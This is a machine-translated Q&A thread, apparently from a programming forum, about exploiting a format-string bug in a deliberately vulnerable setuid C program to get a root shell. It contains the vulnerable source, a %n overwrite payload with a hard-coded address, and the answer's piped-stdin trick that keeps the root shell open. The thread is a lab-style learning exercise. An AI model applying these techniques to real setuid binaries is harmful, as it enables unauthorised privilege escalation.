Установить бинарный файл для порождения корневой оболочки путем переопределения%n, не работает с эксплойтом, но работает, когда эксплойт не нужен

У меня есть двоичный файл Setuid, который имеет уязвимость строки формата printf, которую предполагается использовать с "%n", чтобы перезаписать значение authenticated глобальная переменная. Выполнение /bin/bash работает с правами root Setuid, когда authenticated = 1, но не когда authenticated = 0 и подвиг используется.

Я пробовал с ls и это работает, так что exec происходит. Я также пытался сделать authenticated = 1 в источнике, поэтому он автоматически запускает Bash без эксплойта. Это работает в порождении корневой оболочки. Когда эксплойт используется, программа вызывает функцию предоставленного доступа, как и ожидалось, но заканчивается в exec, и perror никогда не достигается. Родительский процесс, однако, умирает, а это означает, что exe bash должен был произойти Bash должен выполняться, но он аварийно завершает работу / завершается при запуске.

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <errno.h>

int authenticated = 0;


void read_flag() {
  if (!authenticated) {
    printf("Sorry, you are not *authenticated*!\n");
  }
  else {
    printf("Access Granted.\n");
    int cpid = fork();
    if(cpid == 0){
      printf("child!\n");
      execlp("/bin/bash", "bash", NULL);
      perror("error");
    }
    else{
      wait(NULL);
    }
  }

}

int main(int argc, char **argv) {

  setvbuf(stdout, NULL, _IONBF, 0);

  char buf[64];

  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  setreuid(geteuid(), getuid());

  printf("Would you like a shell? (yes/no)\n");

  fgets(buf, sizeof(buf), stdin);

  if (strstr(buf, "no") != NULL) {
    printf("Okay, Exiting...\n");
    exit(1);
  }
  else if (strstr(buf, "yes") == NULL) {
    puts("Received Unknown Input:\n");
    printf(buf);
  }

  read_flag();

}

С authenticated = 0, я использую GDB, чтобы найти адрес authenticated где-то как 0x0804a050. Я запускаю программу с AAAA %x %x %x... чтобы найти это buf начинается с позиции 4 стека. Мой подвиг тогда: python -c "print('\x50\xa0\x04\x08%x%x%x%n')" который успешно перезаписывает глобальную переменную как "Доступ разрешен!" печатается. Perror никогда не достигается, и Bash должен появиться, но родительский процесс умирает, поэтому процесс Bash, должно быть, тоже умер. Это не происходит, когда authenticated = 1, В этом сценарии бинарный файл Setuid ведет себя как положено и открывает корневую оболочку.

Мой вопрос: почему Bash умирает при запуске, но только когда используется бинарный файл Detuid? Баш, должно быть, умирает, потому что ps -aux не перечисляет новый процесс Bash, а работает exit выходит из вызывающего экземпляра bash.

1 ответ

Решение

Когда вы запускаете одно из:

python -c "print('\x50\xa0\x04\x08%x%x%x%n')" | ./vuln
./vuln < myPayload

Единственный вход - ваш подвиг. Вы не вводите никаких команд, поэтому bash не имеет ничего общего и выходит. Это то же самое, что происходит, если вы запускаете true | bash или же bash < /dev/null,

Если вы хотите иметь возможность впоследствии вводить некоторые команды вручную, самый простой способ сделать это:

{ python -c "print('\x50\xa0\x04\x08%x%x%x%n')"; cat; } | ./vuln
Другие вопросы по тегам